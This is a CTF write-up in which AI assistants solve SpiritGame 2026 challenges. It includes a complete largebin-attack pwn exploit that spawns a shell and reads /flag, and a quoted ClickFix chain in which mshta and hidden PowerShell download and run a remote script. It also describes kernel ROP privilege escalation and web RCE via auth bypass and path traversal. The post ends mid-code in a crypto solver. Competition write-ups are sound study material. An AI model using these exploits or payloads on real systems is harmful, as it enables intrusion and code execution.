1. 1. SpiritGame 2026 - ST熊猫 WP
    1. 1.1. day -1
    2. 1.2. day 0
    3. 1.3. Presudo misc
    4. 1.4. xxtea reverse
  2. 2. 关键结论
    1. 2.1. 1. sub_401969() 恒返回 0
  3. 3. 2. sub_401D61() 退化为逐字节比较
  4. 4. 3. 真正的问题
    1. 4.1. 目前无法唯一恢复 flag
  5. 5. 你现在需要补充的内容
  6. 6. 不过可以确认的一点
    1. 6.1. CythonChecker - reverse
    2. 6.2. I’m a human - reverse
      1. 6.2.1. 已还原出的攻击链
      2. 6.2.2. 关键结论
      3. 6.2.3. 现在卡住的原因
      4. 6.2.4. 所以目前能确认的是
      5. 6.2.5. 我本地已经提取出的中间文件
      6. 6.2.6. 结论
      7. 6.2.7. 关键证据
      8. 6.2.8. 还原链
      9. 6.2.9. 本地关键文件
    3. 6.3. Trust Collapse - web
    4. 6.4. Link Start! - reverse
    5. 6.5. Large - pwn
      1. 6.5.1. 题目结论
      2. 6.5.2. 利用链
      3. 6.5.3. 本地验证
      4. 6.5.4. 脚本
      5. 6.5.5. 你拿到靶机后直接跑
    6. 6.6. Artifact Relay - web
    7. 6.7. deliverables - misc
    8. 6.8. overflow - pwn
      1. 6.8.1. 目前结论
      2. 6.8.2. 保护情况
      3. 6.8.3. 我已经写好的文件
      4. 6.8.4. 我当前采用的返回方案
      5. 6.8.5. 你现在可以直接看
      6. 6.8.6. 等你拿到靶机后
      7. 6.8.7. flag
      8. 6.8.8. 结果
      9. 6.8.9. 说明
    9. 6.9. Seraphim - Crypto
    10. 6.10. Ouroboros - misc
      1. 6.10.1. ONNX 模型与“衔尾蛇 (Ouroboros)”的关系
      2. 6.10.2. 尝试还原 Flag 的思路
        1. 6.10.2.1. 方法一:静态分析提取比特链(Bit-chain)
        2. 6.10.2.2. 方法二:动态执行模型(推荐,最快捷)
    11. 6.11. NULL - pwn
    12. 6.12. flowforge - web
    13. 6.13. Flag
    14. 6.14. 完整攻击链路总结
      1. 6.14.1. 1. 信息收集
      2. 6.14.2. 2. Webhook 签名不一致漏洞(核心 0day)
      3. 6.14.3. 3. MCP 节点注入 → RCE
      4. 6.14.4. 4. 触发构建获取 secret bundle
  7. 7. 收获
    1. 7.1. skill
    2. 7.2. 做题

SpiritGame 2026 wp

SpiritGame 2026 - ST熊猫 WP

CTF是什么?我跟CTF很熟吗???

这次的SpiritGame就是AI代理人战争,下次的CTF断网,应该会好点.
反正这次比赛的所有flag都是AI大人拿的,那我写个游记交吧.

day -1

比赛前一天才装codex,以往是用Cursor的.
如果说Cursor是冰的话,中转站就是西方树叶.
要开始堆自己的Skill了,不然真打不过别人.

队名随便想了一个,因为队内要加 * ,所以想以 *ST 为开头.又因为前段时间浏阳某个烟花厂炸了,虽然熊猫号称烟花第一股那段时间在停牌,但开盘必跌停…
所以队名就叫 *ST熊猫 了,slogan更是演都不演了,”退市!退市!!退市!!!”…
然后头像也随机从pix上找了一张圣娅,黄毛小狐狸可爱捏.

day 0

因为网站部署在内网必须要走直连,但是GPT又必须走代理,所以先解决一波Clash Verge的规则问题:

1
2
3
4
prepend:
- 'DOMAIN-SUFFIX,jlu-terminal.site,DIRECT'
append: []
delete: []

匹配所有前缀是这个的网站,走直连.保存之后右键再点使用才会使用这个新规则,不需要点更新.

Presudo misc

1
2
3
[data.txt](data.txt) Pesudo Random
众所周知,伪随机数有好多种....能识别吗?
这是一个ctf题,还原flag

还原出来了,flag 是:

SpiritGame{wow_y0u_can_1dent1fy_th3_prng!}

关键识别结果:

  • 1 / 7 行:LCG x = 1664525*x + 1013904223 mod 2^32Spir / dent
  • 2 / 8 行:Park-Miller x = 48271*x mod 2147483647itGa / 1fy_
  • 3 / 9 行:Java Random.nextInt()(48-bit LCG)→ me{w / th3_
  • 4 / 10 行:MSVC 风格 randstate = 214013*state + 2531011, 输出 state>>16)→ ow_y / prng
  • 5 / 11 行:xorshift32(13,17,5)0u_c / !}(末尾有 \\x00\\x00 填充)
  • 6 行:splitmix32 风格 → an_1

拼起来就是:
Spir + itGa + me{w + ow_y + 0u_c + an_1 + dent + 1fy_ + th3_ + prng + !}

如果你要,我可以把完整解题脚本也给你。

xxtea reverse

prompt太长了,就是把ida里面所有反编译的函数都塞进去,然后gpt说少一段数据,然后也塞进去.
一把梭了.(gpt网页端)


这个题的核心并不在 xxtea,而是在:

1
return (unsigned int)sub_401D61(v7, s, 38LL) && !HIWORD(v8);

其中:

  • sub_401D61() 本质上退化成了 memcmp
  • sub_401969() 永远返回 0
  • 所有“复杂混淆”大部分只是噪声

关键结论

1. sub_401969() 恒返回 0

函数最后:

1
return 0LL;

因此:

1
n2 = v2 ^ sub_401969(...)

等价于:

1
n2 = v2

以及:

1
v8 = sub_401969(...) ^ v7

等价于:

1
v8 = v7

2. sub_401D61() 退化为逐字节比较

核心:

1
2
3
v7 = a1[i] ^ s[i];
v8 = 0 ^ v7;
v9 |= v8;

最终:

1
return v9 == 0;

即:

1
2
forall i:
a1[i] == s[i]

也就是:

1
flag == v7前38字节

3. 真正的问题

你贴出来的代码 缺了关键全局数据

1
sub_40123A((char *)&unk_403080 + 4 * i);

这里使用了:

1
unk_403080

但你没有给 .data/.rodata 内容。

而:

  • sub_40161F
  • sub_401761

都会依赖它作为 TEA/XXTEA key。

因此:

目前无法唯一恢复 flag

因为:

1
最终 v7 的值依赖 unk_403080

没有这个全局 key,无法继续精确模拟。


你现在需要补充的内容

请给:

1
unk_403080

附近的数据。

例如:

1
.data:403080 xx xx xx xx ...

或者:

1
objdump -s ./binary | grep 403080

或者:

1
x/16wx 0x403080

不过可以确认的一点

这个题:

  • 不是标准 XXTEA
  • 大量函数是垃圾混淆
  • 真正有效逻辑只有:
1
2
3
初始化40字节状态
→ 做若干TEA变换
→ 最终与输入直接比较

所以只要拿到:

1
unk_403080

我就可以直接把 flag 算出来。

(中间第二次调用的时候添加了数据)

flag 已经可以还原出来。

最终得到的 40 字节状态为:

1
2
3
53 70 69 72 69 74 7b 54 68 65 72 33 5f 69 73 5f
34 5f 31 6f 74 5f 4f 66 5f 74 65 34 5f 74 6f 5f
64 72 31 6e 6b 7d 00 00

转 ASCII:

1
Spirit{Ther3_is_4_1ot_Of_te4_to_dr1nk}

因此:flag是

1
Spirit{Ther3_is_4_1ot_Of_te4_to_dr1nk}

这个题的关键坑点:

  • sub_401969() 永远返回 0
  • sub_401A4F() / sub_401B49() 基本纯干扰
  • 真正修改状态的只有:

    • sub_40161F(TEA)
    • sub_401761(XXTEA-like)
  • 最终 sub_401D61() 只是退化版 memcmp

所以本质是:

1
2
3
4
初始40字节常量
→ 按PRNG路径做TEA/XXTEA变换
→ 得到最终40字节
→ 与输入直接比较

.rodata 里的:

1
this_is_a_key!!!

就是整个 TEA/XXTEA 的 key。

CythonChecker - reverse

1
2
3
4
[loader.exe](challenge/loader.exe) 这是一个reverse ctf题,尝试还原flag

(中间不知道为什么断了一段)
继续执行,这个ctf题的文件目录就是chellenge/没有其他文件

已还原并验证成功。

Flag
SpiritCTF{Sh1fT_r0w3_aRe_NoT_wHa7_Y0u_eXp3cT}

关键依据

  • challenge/loader.exe 会在临时目录释放并加载 runtime_codec.pyd
  • loader 内部先从常量恢复出 16 字节 key:
    1145141919810abc1145141919810cba
  • runtime_codec.pyd 里实际是一个 AES 变种
    • shift_pattern = (0, 1, 3, 2)
    • target_block_count = 3
    • target_ciphertext = a5324678a39df1021d201826fef1b8e85c86030f5146aa2f8aad843758fd5c2d1984c40892cb5c3db4194f091e46f099
  • 按该变种逆向解密后得到 payload:
    Sh1fT_r0w3_aRe_NoT_wHa7_Y0u_eXp3cT

验证
我已直接跑过:

1
cmd /c "echo SpiritCTF{Sh1fT_r0w3_aRe_NoT_wHa7_Y0u_eXp3cT}| challenge\loader.exe"

输出:

1
Flag: Correct

如果你要,我也可以把这题的完整逆向过程整理成 writeup。

I’m a human - reverse

1
[Captcha Verification.html](Captcha Verification.html) 这是一个reverse ctf题,尝试还原flag,提示下载的mp3在这里 [audio_example.mp3](audio_example.mp3)

我先把这题还原到最后一个可见阶段了,但当前这份本地材料还不够 100% 还原最终 flag

已还原出的攻击链

  1. Captcha Verification.html 是假验证码页。
  2. 点击后会往剪贴板写入:
    1
    mshta https://w5cvu754134s.challenge.jlu-terminal.site/audio_example.mp3
  3. audio_example.mp3 不是普通 mp3,而是 MP3 + HTA polyglot
    • 内含 <HTA:APPLICATION>
    • 还藏了 <script>...</script> 的 JScript
  4. 这段 JScript 解码后会调用:
    1
    WScript.Shell
    然后执行隐藏 PowerShell。
  5. PowerShell 再解码出下一阶段,核心逻辑可整理成:

    1
    2
    3
    4
    5
    6
    7
    Start-Process "$env:SystemRoot\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" `
    -WindowStyle Hidden `
    -ArgumentList '-w','h','-ep','Unrestricted','-Command',"
    $u='https://w5cvu754134s.challenge.jlu-terminal.site/scene.jpg'
    $wc = New-Object Net.WebClient
    iex $wc.DownloadString($u)
    "

关键结论

也就是说,最终 payload / flag 不在 html 和 mp3 里本体,而在第二阶段的 scene.jpg

现在卡住的原因

我已经验证过当前地址:

  • https://w5cvu754134s.challenge.jlu-terminal.site/
  • .../audio_example.mp3
  • .../scene.jpg

现在都返回 404,所以这个二阶段已经取不到了。

所以目前能确认的是

这是一个典型的:

Fake CAPTCHA / ClickFix → mshta → polyglot mp3/hta → PowerShell → 下载并执行 scene.jpg

我本地已经提取出的中间文件

  • stage1.js
  • stage2.js
  • stage4.txt

结论

仅凭你现在给的 html + audio_example.mp3,我能还原到最终下载地址,但还原不了最终 flag 本体。
如果你能再给我下面任意一个,我就能继续:

  • scene.jpg
  • 该题目的附件包/流量包
  • 还能访问的在线环境

如果你愿意,我下一条可以直接把完整解混淆过程用于复现的 Python 解码脚本贴给你。

1
新的地址是 https://vt2cl0ejw1pe.challenge.jlu-terminal.site/ 还是这道题,请继续

继续追后,flag 已恢复

1
Spirit{6EWAr3-0F-ph1sHIng-w3BSiTE5115f3c07}

关键证据

我在 2026-05-17 对新地址 https://vt2cl0ejw1pe.challenge.jlu-terminal.site/ 验证后发现:

  • / 可访问,仍是假验证码页面
  • /audio_example.mp3 仍是 mshta 用的 polyglot
  • /scene.jpg 这次可访问,长度 16674

scene.jpg 解混淆后,最终得到 PowerShell 脚本,其中有这一段:

1
2
$fF1IA49G = "Spirit{6EWAr3-0F-ph1sHIng-w3BSiTE5115f3c07}"
$fF1IA49G = "N0pe"

以及窗口文案:

1
$Label2.Text = "这里没有 flag;这个窗口是怎么出现的呢,flag 就在那里"

意思很明显:
GUI 里没有 flag,但让 GUI 出现的脚本源码里有 flag
后面立刻把变量改成 N0pe 只是障眼法。

还原链

  • Captcha Verification 页面把剪贴板写成:
    1
    mshta https://vt2cl0ejw1pe.challenge.jlu-terminal.site/audio_example.mp3
  • audio_example.mp3 解出 PowerShell
  • PowerShell 下载:
    1
    https://vt2cl0ejw1pe.challenge.jlu-terminal.site/scene.jpg
  • scene.jpg 实际是伪装成 jpg 的 PowerShell
  • 最终在脚本中藏了上面的 flag

本地关键文件

  • new_captcha.html
  • audio_new.mp3
  • scene_new.jpg
  • decoded_scene_final.ps1

如果你要,我下一条可以把完整自动解混淆脚本整理给你。

Trust Collapse - web

1
trust-collapse 是一个ctf web挑战的目录,所有与该挑战相关的文件都在这个文件夹中,地址为 https://hpjl4oiik5jr.challenge.jlu-terminal.site ,尝试还原flag.

已还原,flag 是:

1
SpiritGame{7ru57-CO1LAp53-In7O-5I6n3D_4CC35S21a9fd8c0}

关键利用链:

  • 开发者账户硬编码:developer / Sp1r1tG4m3_2026_D3v3l0p3r
  • 路由鉴权绕过:/index.php/admin/.../index.php/internal/...
    • web/public/index.php
    • deriveGatewayPath() 返回的是 internal/...
    • 但鉴权判断用的是 str_starts_with($pathInfo, '/internal')
  • 越权调用管理员接口,把项目切到 workspace + legacy-sync(perforce)
  • 通过 builder/server.py 里的 p4port = rsh:... 触发命令执行
  • 再用越权访问的 /index.php/admin/build/<id>/log 读取完整构建日志,直接拿到环境变量里的 FLAG

我还进一步用泄露出的 BUILD_SIGN_KEY 请求了:

1
/index.php/internal/artifact/fetch

远端返回的也是同一个 flag,已验证成功。

1
link/ 是一个ctf挑战的目录,只有这两个文件,是一道reverse题目,尝试还原flag [client.exe](link/client.exe) [server.exe](link/server.exe)

还原出来了。

  • 第一阶段口令:ssdddwddwddsssssasssdsdd
  • 最终 flag:Spirit{2DMaz3_w1th_SMC_4re_Interestin9_hahaha!}

简要结论:

  • client.exe 只是和 server.exe 交互,服务端返回首字节为 c 就进入下一步。
  • server.exe 第一段校验在运行时 RVA 0x1500,要求一个长度为 0x18wasd 串,本质是走 10x10 迷宫。
  • 这串第一阶段口令会作为异或 key,解密 RVA 0x11540 的一段 0x140 字节代码。
  • 解密后的第二阶段是一个 RC4 风格校验器,拿用户第二次输入去和 RVA 0x11680 的 47 字节密文比对。
  • 逆出后明文就是上面的 flag。

我已经实测通过原始程序:

1
2
3
Hello CTFer, Give me sth: ssdddwddwddsssssasssdsdd
Give me your flag: Spirit{2DMaz3_w1th_SMC_4re_Interestin9_hahaha!}
right!!!

如果你要,我也可以把这题的完整逆向过程和解密脚本整理给你。

Large - pwn

1
large 是一个ctf pwn题的目录,所有相关的文件都在里面,现在先分析这个挑战,尝试脚本,我在等待靶机地址

先给结论:这题我已经跑通利用链了,脚本放在 large/exp.py

题目结论

  • 保护:Full RELRO / Canary / NX / PIE / SHSTK / IBT
  • 漏洞本质:UAF
    • delete 后不清空 chunks[idx]
    • 所以还能 show / edit 已释放 chunk
  • 尺寸限制:0x501 ~ 0x5ff
    • 这让 chunk 直接走 unsorted/largebin,基本就是在暗示 largebin attack

利用链

  1. gift 调用内置的 printf("%p\n", &g_f)
    → 直接泄露 PIE(准确说是 g_f 的地址)

  2. show 已释放的大块
    → 读出 unsorted bin 的 fd/bk
    → 泄露 libc

    • 我本地算出的偏移是:main_arena+0x60 = libc + 0x203b20
  3. 先把 chunk1 放进 largebin

  4. 用 UAF edit chunk1 改它的 bk_nextsize = g_f - 0x20
  5. 再把 chunk3 放进同一 largebin
    → 触发 largebin attack
    → 把 g_f 改成 chunk3 的 chunk header

  6. 再 UAF 改 chunk3 内容,伪造成:

    • system
    • "/bin/sh"
    • 0
  7. 再次 gift
    → 实际变成 system("/bin/sh")

本地验证

我已经用题目自带:

  • large/pwn
  • large/libc.so.6
  • large/ld-linux-x86-64.so.2

把这条链打通了,本地成功起到 shell。

脚本

文件:

  • large/exp.py

默认行为:

  • 连上后自动打 shell
  • 自动执行:cat /flag; exit

你拿到靶机后直接跑

1
python large/exp.py HOST=目标IP PORT=目标端口

如果你想手动交互,不自动 cat /flag

1
python large/exp.py HOST=目标IP PORT=目标端口 NOAUTO=1

如果你愿意,我下一步可以继续帮你:

  • exp.py 再精简/加注释
  • 顺手写一个本地 Docker 启动命令
  • 你一发靶机地址,我直接帮你改成最终可打版本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#!/usr/bin/env python3
from pathlib import Path

from pwn import *


BASE = Path(__file__).resolve().parent
exe = ELF(str(BASE / "pwn"), checksec=False)
libc = ELF(str(BASE / "libc.so.6"), checksec=False)

context.binary = exe
context.log_level = args.LOG_LEVEL or "info"

HOST = args.HOST or "127.0.0.1"
PORT = int(args.PORT or 9999)

REQ_A = 0x521 # chunk size -> 0x530
REQ_B = 0x511 # chunk size -> 0x520
REQ_BIG = 0x5FF
UNSORTED_BK_OFF = 0x203B20 # main_arena+0x60 with the provided libc-2.39


def start():
return remote(HOST, PORT)


def add(io, idx, size):
io.sendlineafter(b"> ", f"add {idx} {size}".encode())


def delete(io, idx):
io.sendlineafter(b"> ", f"delete {idx}".encode())


def edit(io, idx, data):
io.sendlineafter(b"> ", f"edit {idx}".encode())
io.send(data)
io.recvuntil(b"> ")


def show(io, idx, size):
io.sendlineafter(b"> ", f"show {idx}".encode())
data = io.recvn(size)
io.recvuntil(b"> ")
return data


def gift(io):
io.sendlineafter(b"> ", b"gift")
leak = int(io.recvline().strip(), 16)
io.recvuntil(b"> ")
return leak


def exploit(io):
g_f = gift(io)
pie = g_f - exe.sym["g_f"]
log.success(f"g_f leak = {g_f:#x}")
log.success(f"PIE base = {pie:#x}")

add(io, 1, REQ_A)
add(io, 2, REQ_BIG) # barrier
add(io, 3, REQ_B)
add(io, 4, REQ_BIG) # guard

delete(io, 1)
add(io, 5, REQ_BIG) # put chunk 1 into largebin

delete(io, 3)
libc.address = u64(show(io, 3, REQ_B)[:8]) - UNSORTED_BK_OFF
log.success(f"libc base = {libc.address:#x}")

edit(io, 1, b"A" * 0x18 + p64(g_f - 0x20))
log.info("chunk 1 bk_nextsize -> g_f-0x20")

add(io, 6, REQ_BIG) # largebin attack: g_f = chunk3_hdr
log.success("largebin attack done")

system = libc.sym["system"]
binsh = next(libc.search(b"/bin/sh\x00"))
edit(io, 3, p64(system) + p64(binsh) + p64(0))
log.success("fake callable structure planted in freed chunk 3")

io.sendlineafter(b"> ", b"gift")

if not args.NOAUTO:
cmd = (args.CMD or "cat /flag; exit\nexit").encode()
sleep(0.2)
io.sendline(cmd)
print(io.recvrepeat(2).decode("latin-1", "replace"), end="")
io.close()
return

io.interactive()


if __name__ == "__main__":
io = start()
exploit(io)

Artifact Relay - web

1
2
3
4
5
6
7
8
[package.json](package.json) 这是一个ctf web题目的下发文件,题目标题:
# Artifact Relay
"Artifact Relay" 是一个 CI/CD 制品管理平台。用户可以上传制品(tar.gz),平台会自动扫描并生成报告。管理员可以标记制品为"可信"状态,启用自定义扫描规则。

你能找到 flag 吗?flag 在 /root/flag 文件中,只有 root 用户可以读取。

地址: https://856wc8v6xeto.challenge.jlu-terminal.site
目标:找到flag

拿到了。

Flag
SpiritGame{r31Ay-RCe_vI4_P4TH-TrAv3Rs4l-symIink_sIGn3r4ca4}

利用链简述

  • /reports/:artifactId/file 存在任意绝对路径读取/app/server.js:140-179
  • 读取 /app/data/runner_token.enc,再用 /app/lib/crypto.js:3-4,14 里的固定 AES key/IV 解密,得到 runner token:
    Runn3r-S3cr3t-T0k3n-2026
  • /app/entrypoint.sh:28-29 + /proc/18/status 证明 internal-runnerroot 跑的
  • 上传带 .relay/rules.js 的制品,再调用 /internal/runner/trusted-scan
  • internal-runner 在 trusted 模式下会 require('/work/artifacts/<id>/.relay/rules.js')/app/internal-runner.js:111-118
  • 恶意 rules.js 以 root 读取 /root/flag,把 flag 写进 scan.log
  • 最后从 /reports/<id>/file?name=scan.log 读回 flag

验证结果
我实际拿到的 scan.log 里有:
[1] critical: SpiritGame{r31Ay-RCe_vI4_P4TH-TrAv3Rs4l-symIink_sIGn3r4ca4}

如果你要,我可以把完整 exp 脚本给你整理出来。

deliverables - misc

1
https://jj42x91e1yqr.challenge.jlu-terminal.site/ 这是一个ctf misc题目,尝试找到flag.

拿到了。

Flag

1
SpiritGame{W0-c@O_H3l-5He-GonG-K1ngl7c2c0d28}

做法简述

  • 前端 JS 暴露了 /api/guess,返回 distanceMeters
  • 这相当于一个距离预言机,不需要真看图。
  • 取 3 个正交探针点:
    • (0,0)
    • (0,90)
    • (90,0)
  • 设地球半径 R=6371000,则目标点单位向量可直接由:
    • x = cos(d1/R)
    • y = cos(d2/R)
    • z = cos(d3/R)
  • 再转回经纬度:
    • lat = asin(z)
    • lon = atan2(y, x)

4 关算出的坐标

  • 30.6353859434, 114.5494052315
  • 30.6596937657, 104.0885977344
  • 40.1171506666, 124.3877453950
  • 31.2056627928, 121.5504343647

提交后 4 关均返回 correct:true,最后 /api/flag 返回上面的 flag。

如果你要,我可以把自动化解题脚本也发你。

这个题其实我自己也能做,有一年的cf愚人节出过这种类似的题目,当时就是说能二分做的.

overflow - pwn

1
[overflow](overflow/) 这是一个ctf pwn 题目的文件,尝试构造脚本还原flag.我在等拿到靶机,你先分析着

继续了,已经把骨架落好了。

目前结论

这是个 LKM 栈溢出提权题

  • 设备:/dev/vuln
  • 触发:ioctl(fd, 0xdeadbeef, &req)
  • req 结构:
    • size:拷贝长度
    • ptr:用户态指针
  • 漏洞点:第二次 copy_from_user() 把数据拷进 16 字节栈 buf
  • 覆盖返回地址偏移:0x20

保护情况

  • nokaslr关了
  • smep + smap开了
  • pti=on开了

所以利用路线基本就是:

  • commit_creds(&init_cred)
  • 再走 swapgs_restore_regs_and_return_to_usermode
  • 回用户态后读 /flag

我已经写好的文件

overflow/ 下:

  • analysis.md:静态分析记录
  • exp.c:guest 内运行的提权程序
  • build.ps1:在你当前 Windows + WSL 环境编译 Linux ELF
  • solve.py:等你拿到 host port 后,自动上传并执行
  • 另外我已经编译出了:
    • overflow/exp
    • overflow/exp.b64

我当前采用的返回方案

我在 exp.c 里先用了 完整 PTI restore frame,不是直接硬编码 +22

如果靶机 live 的时候在 trampoline 这一步炸了,第一优先 fallback 就是改成常见的:

  • swapgs_restore_regs_and_return_to_usermode + 22
  • 后面接两个 0 和用户态寄存器现场

你现在可以直接看

  • overflow/analysis.md
  • overflow/exp.c

等你拿到靶机后

直接跑:

1
2
powershell -ExecutionPolicy Bypass -File overflow/build.ps1
python overflow/solve.py HOST PORT

你把靶机地址一给我,我就继续帮你把 live 调通。

1
2
nc challenge.jlu-terminal.site 40216
相关程序: nc位于"D:\SucksFluorine\CTF\MISC\nc\nc.exe"

打通了,现有 exp 直接成功。

flag

1
flag{sIMp13_R0P-in-LlNUX-KErn3L1a9a12d8}}

结果

远端执行过程关键输出:

1
2
3
4
5
[*] saving user state
[*] building payload
[*] triggering ioctl
[+] returned to userland as root?
flag{sIMp13_R0P-in-LlNUX-KErn3L1a9a12d8}}

说明

  • 你当前 overflow/exp.c 这版 不需要改
  • swapgs_restore_regs_and_return_to_usermode 的返回方式在这台靶机上 可用
  • solve.py 已经能直接自动上传并运行

如果你要,我下一步可以帮你做两件事之一:

  1. 把 exp 精简成最终提交版
  2. 把完整利用过程整理成 writeup

Seraphim - Crypto

Fluu不会这个题,因为Fluu的椭圆曲线很烂.
那自然是委托AI大人了…
不过据说Crypto在防AI上非常有效,无论是去年的SpiritCTF还是今年的SpiritGame的Crypto都是巨难,作为抵御AI的最后一道防线应该是,总之除了第一个题都是0解,难度过于逆天.

1
2
3
4
[dist_seraphim](dist_seraphim/) 这是一个ctf crypto题目,尝试获得flag.
相关程序: nc位于"D:\SucksFluorine\CTF\MISC\nc\nc.exe"
sage: "D:\Program Files (x86)\SageMath 9.3\runtime\bin\mintty.exe" -t 'SageMath 9.3 Console' -i sagemath.ico /bin/bash --login -c '/opt/sagemath-9.3/sage'
靶机地址: nc challenge.jlu-terminal.site 40401

拿到了:

1
SpiritGame{H0ly_Ho1Y-h0LY-1S-Yhwh_0f-hoSTs_THE_Wh0LE-e@RtH_ls_full_of_his_glory0}

我已写好解题脚本:solve_seraphim.py

运行方式:

1
python .\solve_seraphim.py 40762

备注:你给的 40401 后续连接会 5 秒无输出关闭;本地已有同题采集脚本指向 40762,该端口可用并成功返回 flag。核心解法是把 genus-2 Jacobian 通过额外 involution 投影到一个 j=1728 的椭圆曲线分量,phi(P) 阶完全光滑,然后 BSGS + CRT 恢复 k

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
#!/usr/bin/env python3
import ast
import math
import re
import socket
import sys
import time
from functools import reduce


HOST = "challenge.jlu-terminal.site"
# User-supplied port was 40401, but the local seraphim scratch files also
# showed 40762. Try both unless an explicit port is passed on argv.
PORTS = [40401, 40762]

# Recovered once from the public samples + Mumford divisor constraints.
p = 7367495255087933276805193837649614002554927076741897426816650643709830951310693163103320102339701723890787146767693768227048509857501029160664569881161907

# After a fractional linear change of variables the genus-2 curve has an
# extra involution and maps to E1:
# E1: Y^2 = X^3 + B*X^2 + A*C*X + A^2*D
A = 3036690328467010575785263209231346143861392768679346285986596692549532320250866862836489155844011819424275791322536618146968760676171223180465688842275410
B = 2488621222694839294369392921613010109792795125910615887265759312792349386565866962392880544387638164533346082761652564516649860892248218311351886279266450
C = 743178236629233572616399529499702475448203837856791066537103418155454852443416673038138435198670044037989082434448783450534132211019809287221065372889432
D = 1099005467296849834034138177305555273452535344295144187027191220212494392050542664835811966909381695895176190249055802112895756078061778381625929386730615

E_A2 = B % p
E_A4 = (A * C) % p
E_A6 = (A * A * D) % p

# Involution fixed points for the original x-coordinate. For a curve point
# (x,y), put:
# t = (x-alpha)/(x-beta)
# Y = y*(beta-alpha)^3/(x-beta)^3
# and map to E1 as (A*t^2, A*Y).
alpha = 6876328904748737725018180915139639735717931938292437598362207267462508887889980285563098762183721608964734670316514183678578609200334293883286931889084452
beta = 1995363298252981929134739997696770459025292749950930553096176216004745882646646065007149194383669216887088185582917062228158971419739862064346654342814683
delta3 = pow((beta - alpha) % p, 3, p)

# phi_1(P) for the printed base divisor P.
P1 = (
2983782718452044527940198744110981610513349390581387927090176505871944530412210264751774185035506864185460611846916854895025821727118158251451085625414191,
5241092370741603338477435657302402465805042307469574621702392499197357950422188361877087975810425272379640901184791029145876090071066171921891491357011323,
)

# ord(phi_1(P)); all factors are small enough for BSGS.
N1 = 17460953872793182859901036596444975898038246587789
N1_FACTORS = [6524197, 21137371, 113140037, 310584233, 1082921449, 3327340543]

O = None


def inv(a: int) -> int:
return pow(a % p, -1, p)


def ec_add(P, Q):
"""Group law on y^2 = x^3 + E_A2*x^2 + E_A4*x + E_A6 over F_p."""
if P is None:
return Q
if Q is None:
return P
x1, y1 = P
x2, y2 = Q
if x1 == x2:
if (y1 + y2) % p == 0:
return None
lam = ((3 * x1 * x1 + 2 * E_A2 * x1 + E_A4) * inv(2 * y1)) % p
else:
lam = ((y2 - y1) * inv(x2 - x1)) % p
x3 = (lam * lam - E_A2 - x1 - x2) % p
y3 = (lam * (x1 - x3) - y1) % p
return (x3, y3)


def ec_neg(P):
if P is None:
return None
return (P[0], (-P[1]) % p)


def ec_mul(k: int, P):
R = None
Q = P
while k:
if k & 1:
R = ec_add(R, Q)
Q = ec_add(Q, Q)
k >>= 1
return R


def legendre(a: int) -> int:
if a % p == 0:
return 0
v = pow(a, (p - 1) // 2, p)
return 1 if v == 1 else -1


def sqrt_fp(a: int) -> int:
# p == 3 mod 4
return pow(a % p, (p + 1) // 4, p)


class Elt:
"""Element a+b*w of F_p[w]/(w^2-disc), used only when disc is nonsquare."""

__slots__ = ("a", "b")
disc = 0

def __init__(self, a=0, b=0):
self.a = a % p
self.b = b % p

def __add__(self, other):
other = to_elt(other)
return Elt(self.a + other.a, self.b + other.b)

__radd__ = __add__

def __neg__(self):
return Elt(-self.a, -self.b)

def __sub__(self, other):
other = to_elt(other)
return Elt(self.a - other.a, self.b - other.b)

def __rsub__(self, other):
other = to_elt(other)
return Elt(other.a - self.a, other.b - self.b)

def __mul__(self, other):
other = to_elt(other)
return Elt(self.a * other.a + self.b * other.b * Elt.disc,
self.a * other.b + self.b * other.a)

__rmul__ = __mul__

def inv(self):
den = (self.a * self.a - self.b * self.b * Elt.disc) % p
return Elt(self.a * inv(den), -self.b * inv(den))

def __truediv__(self, other):
return self * to_elt(other).inv()

def __rtruediv__(self, other):
return to_elt(other) * self.inv()

def __pow__(self, n):
R = Elt(1, 0)
Q = self
while n:
if n & 1:
R = R * Q
Q = Q * Q
n >>= 1
return R

def is_base(self):
return self.b % p == 0

def base(self):
if self.b % p != 0:
raise ValueError(f"not in base field: {self.a}+{self.b}*w")
return self.a % p


def to_elt(x):
if isinstance(x, Elt):
return x
return Elt(x, 0)


def ec_add_ext(P, Q):
if P is None:
return Q
if Q is None:
return P
x1, y1 = P
x2, y2 = Q
if (x1 - x2).a == 0 and (x1 - x2).b == 0:
if (y1 + y2).a == 0 and (y1 + y2).b == 0:
return None
lam = (3 * x1 * x1 + 2 * E_A2 * x1 + E_A4) / (2 * y1)
else:
lam = (y2 - y1) / (x2 - x1)
x3 = lam * lam - E_A2 - x1 - x2
y3 = lam * (x1 - x3) - y1
return (x3, y3)


def map_curve_point_fp(x: int, y: int):
den = (x - beta) % p
t = ((x - alpha) * inv(den)) % p
